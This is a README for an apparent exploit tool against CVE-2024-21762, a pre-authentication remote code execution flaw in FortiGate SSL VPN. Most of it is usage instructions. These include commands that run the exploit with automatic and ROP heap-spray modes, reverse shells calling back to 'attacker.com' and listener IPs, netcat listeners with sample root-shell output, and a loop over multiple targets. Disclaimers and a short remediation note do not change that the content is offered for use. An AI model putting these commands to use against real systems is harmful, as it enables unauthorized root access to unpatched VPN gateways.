0x13-bytezer0/cve-2024-21762Detects and exploits CVE-2024-21762 pre-authentication RCE in FortiGate SSL VPN, featuring baseline validation, automatic exploitation, ROP heap-spray mode, and reverse shell.
Detection and exploitation tool for CVE-2024-21762 - Critical FortiGate SSL VPN vulnerability
⚠️ LEGAL DISCLAIMER: This tool is for authorized test environments only. Unauthorized use on systems is ILLEGAL and may result in serious legal consequences.
CVE-2024-21762 is a critical vulnerability in FortiGate SSL VPN components that allows pre-authentication Remote Code Execution (RCE). The flaw exists in a vulnerable parsing of HTTP requests with Transfer-Encoding chunked, resulting in an out-of-bounds write in the sslvpnd component.
| Attribute | Information |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerability | Out-of-bounds write in sslvpnd |
| Type | Pre-Authentication Remote Code Execution (RCE) |
| CVSS Score | 9.8 (Critical) |
| Affected Component | FortiOS SSL VPN |
| Vulnerable Versions | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Vulnerability Detection - Identifies vulnerable FortiGate instances via malformed requests
✅ Baseline Test - Checks normal server behavior before tests
✅ Automatic Mode - Detects vulnerability and exploits automatically
✅ Reverse Shell - Supports bash reverse shell with IP/port configuration
✅ Input Validation - Validates IPs and ports before exploitation
✅ Detailed Reports - Generates reports with remediation recommendations
✅ Robust Error Handling - Secure connection and exception management
# Clone the repository
git clone https://github.com/your-username/CVE-2024-21762.git
cd CVE-2024-21762
# Verify syntax
python -m py_compile EXPLOIT.py
# Run the script
python EXPLOIT.py -h
# Simple detection test
python EXPLOIT.py 192.168.1.100
# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443
# With increased timeout
python EXPLOIT.py 192.168.1.100 --timeout 20
# Automatic mode with pre-configured reverse shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Automatic mode without credentials (prompts interactively)
python EXPLOIT.py 192.168.1.100 --auto
ROP mode implements a two-stage exploitation with heap spray for specific targets (FortiOS 7.4.2):
# ROP exploitation with Node.js reverse shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# With increased timeout for slow targets
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP Exploitation Flow:
On your listening server:
# Linux/Mac/Windows with netcat
nc -lnvp 4242
# Expected output:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Important Note: ROP mode is optimized for FortiOS 7.4.2.F-build2571. Other versions may not work due to hardcoded ROP chain offsets.
# Send reverse shell payload
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combination of multiple options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname or IP to be tested
optional arguments:
-h, --help Show this help message
-t, --target HOSTNAME Target hostname or IP (alternative)
-p, --port PORT SSL VPN port (default: 443)
--timeout SECONDS Timeout in seconds (default: 10)
-li, --lhost IP Local IP to receive reverse shell
-lp, --lport PORT Local port to receive reverse shell
--no-baseline Skip baseline test
--auto Automatic mode: detect and exploit
--rop ROP mode: advanced exploitation with heap spray (FortiOS 7.4.2)
-v, --version Show script version
python EXPLOIT.py 192.168.1.100
Expected result if vulnerable:
[+] Starting vulnerability test...
[!] VULNERABLE DETECTED!
[!] Server closed connection abruptly
[!] STATUS: VULNERABLE
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
On your server:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
The tool considers a target vulnerable when it detects one of the following behaviors:
| Version | Detection | ROP Mode | Status |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Yes | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Yes | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Yes | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.4.2 (build≤2571) | ✅ Yes | ✅ Yes | ⚠️ VULNERABLE |
| FortiOS 7.4.3+ | ❌ No | ❌ No | ✅ FIXED |
Update FortiOS to a fixed version:
Temporary Isolation
Monitoring
# Verify FortiOS version
python EXPLOIT.py your-fortinet.com
If the result shows "NOT VULNERABLE", the patch was applied successfully.
CVE-2024-21762/
├── EXPLOIT.py # Main exploitation script
├── README.md # This file
├── LICENSE # MIT License
└── .gitignore # Git configuration
| Method | Description |
|---|---|
test_vulnerability() | Tests vulnerability by sending malformed request |
exploit(lhost, lport) | Exploits vulnerability with reverse shell |
test_baseline() | Tests normal server behavior |
generate_report() | Generates final status report |
_create_ssl_context() | Creates reusable SSL context |
_create_socket_connection() | Creates secure TLS connection |
_close_socket(sock) | Safely closes socket |
_is_valid_ip(ip_str) | Validates IP format |
The tool implements:
Q: Can it be used on Windows?
A: Yes, the Python script works on Windows, but the default bash reverse shell will not work. You would need a custom payload.
Q: How do I know if exploitation was successful?
A: Check the machine listening for the reverse shell (nc/ncat). The script will display progress messages.
Q: Can I use it against multiple targets?
A: Yes, you can create a bash/PowerShell script to iterate over a list of IPs.
Q: What is the difference between normal and automatic mode?
A: Automatic mode automatically exploits if a vulnerability is found. Normal mode only detects.
Found a bug or have suggestions? Open an issue or submit a pull request!
This project is licensed under the MIT License - see the LICENSE file for details.
This software is provided "as is" for research and authorized testing purposes. The authors are not responsible for:
USE RESPONSIBLY AND ONLY IN AUTHORIZED ENVIRONMENTS
Developed for educational and cybersecurity research purposes.
⚠️ Remember: Use this tool only on systems you own or have explicit permission to test. Unauthorized exploitation is a crime.